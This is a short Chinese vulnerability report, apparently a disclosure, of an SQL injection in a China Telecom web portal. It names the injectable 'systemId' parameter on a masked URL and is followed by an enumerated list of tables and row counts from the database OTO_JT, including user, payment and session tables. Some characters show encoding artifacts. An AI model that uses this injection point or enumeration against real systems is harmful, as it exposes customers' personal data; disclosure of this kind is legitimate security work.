運營商安全之中國電信某站SQL注入漏洞存在注入URLhttp://**.**.**.**:9080/home/index.action?recStaff=dldxzqkhb&storeId=13464&systemId=1參數(shù)systemId為注入點涉及9個庫
400多個表，43萬用戶數(shù)據(jù)
Database: OTO_JT+--------------------------------+---------+| Table | Entries |+--------------------------------+---------+| ATTRINST | 1491899 || SCHEDULE_JOB_LOG | 1324602 || USERS | 430913 || STORECENT_0512 | 286340 || TB_MINI_PAGE_PICTURE_0512 | 159625 || STORECENT | 151211 || TB_MINI_REQUEST_LOG | 129173 || TB_MINI_WEBSITE_LOG | 98924 || CATGPENREL | 90268 || LISTPRICE_0512 | 88093 || OFFER_0512 | 88076 || CATENTRY_0512 | 86675 || TB_FR_SERV_CALL_LOG | 73342 || CATENTREL_0512 | 71678 || TB_SM_PRIVGRANTS | 57851 || BP_STEPTASK | 49539 || TB_MINI_TRAN_CONFIG_0512 | 35697 || TB_MINI_WEBSITE_PAGE_0512 | 34729 || CPORD_ITEMS | 34380 || BP_TASK | 28874 || ADDRBOOK | 27375 || ORDER_COMMENT | 26679 || PPC_PAYMENT | 26236 || PACK_STATLOG | 25299 || CATENTRY_0918 | 24768 || CATENTREL | 22484 || CATENTREL_0922 | 22417 || CATENTREL_0918 | 19134 || PACKITEMS | 18236 || TB_CMS_RESOURCE | 17801 || PROMO_CDPOOL | 17366 || ORDER_APPLYINFO | 16636 || SCHEDULE_BUSIPROC_LOG | 15907 || ORDER_INVOICE | 15655 || TB_CMS_CHANNEL | 14774 || SALEINFO_ITEM | 13682 || ORDERITEMS_0512 | 11304 || CPORD_CRM_SUB | 11024 || LISTPRICE | 11018 || OFFER | 11002 || CATENTRY | 9488 || PROMO_USAGE | 9418 || CRM_PROCESS_ORDERS | 9412 || TB_PM_OPER_LOG | 9194 || CPORD_WAIT_SENDBACK_HIST | 8936 || TB_MINI_WEBSITE_STYLE_0512 | 8268 || TB_MINI_WEBSITE_STYLE_20150428 | 8226 || TB_MINI_PAGE_PICTURE | 8096 || TB_MINI_PAGE_ATTR_0512 | 6696 || PHONENUMBER | 6564 || TB_SM_STAFFPOST_0512 | 6491 || STAT_ORDERITEMS_SETTLEMENT | 6226 || TB_SM_STAFFPOST_20150428 | 6117 || USER_LOGIN_LOG | 5980 || PACKINFO | 5790 || TB_SM_MINI_PRIVGRANTS | 5658 || TB_SM_MINI_PRIVGRANTS_0512 | 5570 || TB_SM_MINI_PRIVGRANTS_20150506 | 5568 || TB_MINI_PUBLISH_TASK_HIST | 5314 || USERREG | 5183 || USERPROF | 5182 || SHIPINFO | 5164 || ADDRESS | 5163 || INVENTORY | 5102 || TB_SM_MINI_PRIVGRANTS_20150428 | 5050 || TB_SM_SYSSTAFF_0512 | 4845 || ORDER_CATENTRY_REL_0512 | 4843 || ORDERS_0512 | 4632 || TB_SM_LOGINSESS | 4560 || TB_SM_SYSSTAFF_20150428 | 4506 || TB_MINI_CAT_TYPE | 4480 || PROMO_ELEATTR_INST | 4116 || STOREPMD | 3946 || CPORD_CRM_APPLY | 3882 || TB_MINI_STAFF_REC_0512 | 3874 || STOREPMD_0512 | 3824 || ORDERITEM_ADJUST | 3736 || ORDER_ADJUST | 3729 || ORDERITEMS_0918 | 3397 || CPORD_CALL_LOG | 3379 || TB_MINI_WEBSITE_STYLE_0918 | 3223 || TB_SM_LOGINSESS_HIST | 3163 || STOREPMD_20150428 | 3148 || TB_MINI_REGION | 3147 || TB_MINI_REGION_20150428 | 3147 || STORERELA_0512 | 3107 || STORE_0512 | 3063 || TB_MINI_PAGE_TEXT_0512 | 2813 || SALEINFO_REG | 2800 || STORERELA_20150428 | 2742 || STORE_20150428 | 2695 || TB_MINI_WEBSITE_0512 | 2629 || TB_MINI_WEBSITE_20150428 | 2592 || PROMO_ELERELA | 2549 || TB_MINI_WEBSITE_PAGE | 2373 || STORERELA_0918 | 2262 || STORE_0918 | 2220 || TB_SM_WORKPOST | 2125 || TB_MINI_PAGE_ATTR_0918 | 2104 || STOREPMD_0918 | 2068 || CATGROUP | 2018 || TB_SM_SYSSTAFF_0918 | 1968 || TB_MINI_REPORT | 1877 || TB_SM_MINI_PRIVGRANTS_0918 | 1771 || PPC_PAYINST | 1707 || TB_MINI_WEBSITE_LOG_0512 | 1619 || CATGRPREL | 1504 || STORECGRP | 1459 || CATENTRY_RELA | 1453 || TB_MINI_STAFF_REC_0918 | 1433 || ORDER_CATENTRY_REL_0918 | 1423 || STAT_ORDERS_SETTLEMENT | 1421 || TB_MINI_TRAN_CONFIG | 1407 || UPLOADFILE | 1383 || ORDERS_0918 | 1226 || TB_FR_ANALY_CUST_LOGIN | 1145 || ORDERITEMS | 1099 || IP_LATN_RELA | 1018 || TB_MINI_WEBSITE_0918 | 1016 || TB_MINI_QUESTION_DETAIL | 933 || TB_SM_SYSSTAFF | 905 || TB_SM_STAFFPOST | 887 || TB_MINI_ANALYSE | 800 || TB_MINI_PAGE_TEXT_0918 | 771 || PRIZE | 700 || INV_ADJUST | 685 || ORDER_CATENTRY_REL | 631 || CPORD_ASSIGNMENT | 604 || STORERELA | 599 || STORE | 554 || PNB_CHECK_INFO | 487 || TB_MINI_WEBSITE_STYLE. 486 || MODCOMPS_ACTION | 476 || CPORD_COMMENT | 471 || TB_PC_DICT | 466 || TB_MINI_PAGE_ATTR | 449 || SHPARRANGE | 442 || TMP_ACTION_LINK | 423 || TB_MINI_STAFF_WEBSITESTYLE. 408 || ACTION_LINK | 393 || CATEN_CRM_RELA | 382 || STAT_PPC_PAYINST | 381 || TB_SM_ORGAN | 358 || TB_PC_CITY | 326 || TB_PC_CITY_20150428 | 325 || CITY | 323 || CITY_20150428 | 323 || PROMO_TRIGGER | 319 || PRIZE_CODE_SEQ | 318 || TB_MINI_ARTICLE | 313 || FRAME_TB_CONFIG_CONTENT | 305 || PNB_STATLOG | 274 || CALLBACK_ORDER_RELA | 273 || TB_SM_MODCOMPS | 260 || ORDERS | 255 || PLAN_INFO_SETTING | 247 || ATTRIBUTE | 230 || FRAME_TB_INTERFACE_INIT_PARA | 229 || TB_FR_SERV_USER_AUTH | 226 || TB_FR_SERV_METHOD | 215 || TB_MINI_STAFF_REC | 211 || TB_SM_SYSMENU | 191 || TB_MINI_QUESTION_CUST | 187 || CALCODE | 174 || TB_SM_ERRLOGIN | 167 || TB_MINI_EXCEL_LOG | 154 || PROMO_ADDINFO | 152 || PROMOTION | 152 || CATEN_CRM_EQPT | 148 || ORDER_STATLOG | 145 || TB_SM_WORKPOST_20150428 | 144 || ORDER_CATEN_SOLD | 140 || SMS_SEND_QUEUE_HIST | 139 || TB_SM_MODULE | 135 || CALLBACKS | 134 || TB_MINI_WEBSITE | 120 || TB_MINI_STANDARD | 119 || SANALY_CATENTRY | 109 || TB_MINI_STAFF_REL_0512 | 104 || EXPORTFILE | 103 || SHIP_STATLOG | 101 || TB_FR_ANALY_ORDER_INFO | 92 || TB_PC_DICTTYPE | 87 || TB_MINI_PAGE_TEXT | 84 || TB_MINI_STAFF_REL_0918 | 83 || BP_TRANS | 77 || TB_MINI_PUBLISH_OBJ_RELA | 74 || ORDER_INVOICE_BAK | 72 || TB_FR_SERVINFO | 69 || ATTRVALUE | 66 || PROMO_STATLOG | 66 || BRAND | 63 || CATCLASS_BRAND | 62 || STAT_DOWNLOAD_FILES | 62 || PROMO_CDUSAGE | 60 || FRAME_TB_CONFIG_TYPE | 56 || TB_MINI_STAFF_REL | 54 || BP_FLOWSTEP | 53 || TB_MINI_QUESTION_TITLE_ITEM | 48 || TEST1 | 48 || PNBINV_WARN | 45 || FRAME_TB_INTERFACE_CONFIG | 44 || TB_MINI_PAGE_TEXT_BAKPAJT | 43 || BP_ACTION | 42 || FFMCENTER | 42 || FRAME_TB_INTERFACE_EVENT | 42 || INV_WARN | 41 || IP_WHITE | 40 || TB_MINI_TALK_ABOUT | 40 || TB_MINI_NOTICE_ROLES | 38 || CATCOMMENT | 36 || CATCOMMT_SCORE | 36 || FFMCENTER_PMD | 35 || TEST2 | 34 || WS_STAFF_SETTING | 33 || PROVINCE | 31 || PROVINCE_20150428 | 31 || TB_MINI_APPROVE | 31 || TB_MINI_PAGE_CAT | 28 || PROMO_ELEATTR | 26 || TB_SM_ORGAN_20150428 | 26 || SHIPMODE | 25 || SCHEDULE_JOB | 24 || TB_PC_LOG_CONFIG | 24 || PROMO_CDSPEC | 23 || STORECAT | 23 || TMP_CATGROUP | 23 || FRAME_TB_SM_ORGAN | 22 || SUPPLIER | 22 || QTYUNIT | 21 || TB_SM_ORGTYPE | 21 || ATTRVALUE_TYPE | 20 || BP_STEP | 20 || TB_MINI_QUESTION_TITLE | 19 || PROMO_ELEMENT | 18 || SANALY_TYPE | 18 || SHIPMENT_PAYMENT_LISTS | 18 || UPLOADFILE_SETTING | 18 || SEARCH_FILTER_ATTG_CHANNELREL | 17 || CATCLASS | 15 || TB_CMS_ARTICLE | 15 || ATTRGRP | 14 || TB_CMS_PUBLISH_TASK_HIST | 14 || ACTIVITY | 13 || TB_MINI_PAGE | 13 || PPC_PAYMETHOD | 12 || PRIZE_RESULT | 11 || SEARCH_FILTER_ATTRGROUPREL | 11 || SEARCH_FILTER_ATTRS | 11 || TB_CMS_PUBLISH_TASK | 11 || ORDER_BSNTYPE | 10 || ORDER_BSNTYPE_FLOW | 10 || PNB_CHECK_INFO_HIST | 10 || SHIPPER | 10 || TB_CMS_RESOURCE_LOG | 10 || TB_MINI_NOTICE | 10 || "CATALOG" | 9 || PROMO_PUBCD | 9 || SEARCH_FILTER_GROUP | 9 || TB_CMS_APPROVE | 9 || TB_CMS_APPROVE_ACT | 9 || PROMO_PROMOTYPE | 8 || TB_CMS_ARTICLE_EXTATTR | 8 || TB_MINI_QUESTION_CONF | 8 || BP_FLOW | 7 || LISTS_RECORDS | 7 || TMP_ROLE_POST | 7 || CATACT_RELA | 6 || SEARCH_FILTER_GROUPS | 6 || SEARCH_FILTER_GROUPSREL | 6 || SYS_ID_SERIAL | 6 || TB_CMS_APPREVENT_PRIVI | 6 || TB_MINI_QUESTION | 6 || TB_MINI_WEBSITE_SYN_HIST | 6 || TB_CMS_TEMPLATE_ATTR | 5 || TB_MINI_STYLE_SYSTEM | 5 || TB_MINI_WX_TOKEN | 5 || REFUNDMENT_LISTS | 4 || SEARCH_FILTER_USAGE | 4 || TB_MINI_PUBLISH_TASK | 4 || BP_BUSITYPE | 3 || CPORD_WAIT_ACCNBR | 3 || FRAME_TBSYSTEMSTATICVALUE | 3 || PNB_LOCKED | 3 || PNB_RESERVE | 3 || PROMO_GROUP | 3 || SEARCH_FILTER_MATCH_TYPE | 3 || SEND_TEMPLATE | 3 || TB_CMS_ARTICLE_ATTRVALUE | 3 || TB_CMS_RESOURCE_PAGE | 3 || TB_CMS_TEMPLATE | 3 || TB_MINI_STYLE. 3 || TB_SM_ORGAN_HIST | 3 || BP_FLOWRULE | 2 || EXPORTFILE_SETTING | 2 || OBJCACHE_SETTING | 2 || PAYMENT_LISTS | 2 || STAGEPAY_CHECK | 2 || TB_MINI_WEBSITE_TEMPLATE | 2 || CALRULE | 1 || CALVALUE | 1 || CPORD_WAIT_SENDBACK | 1 || FRAME_TB_FILTER_PARAM | 1 || FRAME_TB_FILTER_URL | 1 || PRIZE_RATE | 1 || SHPAREA | 1 || TB_CMS_TAG | 1 || TB_CMS_TAG_RELA | 1 || TB_FR_SERV_USER | 1 || TB_MINI_PICTUREMANAGER | 1 |+--------------------------------+---------+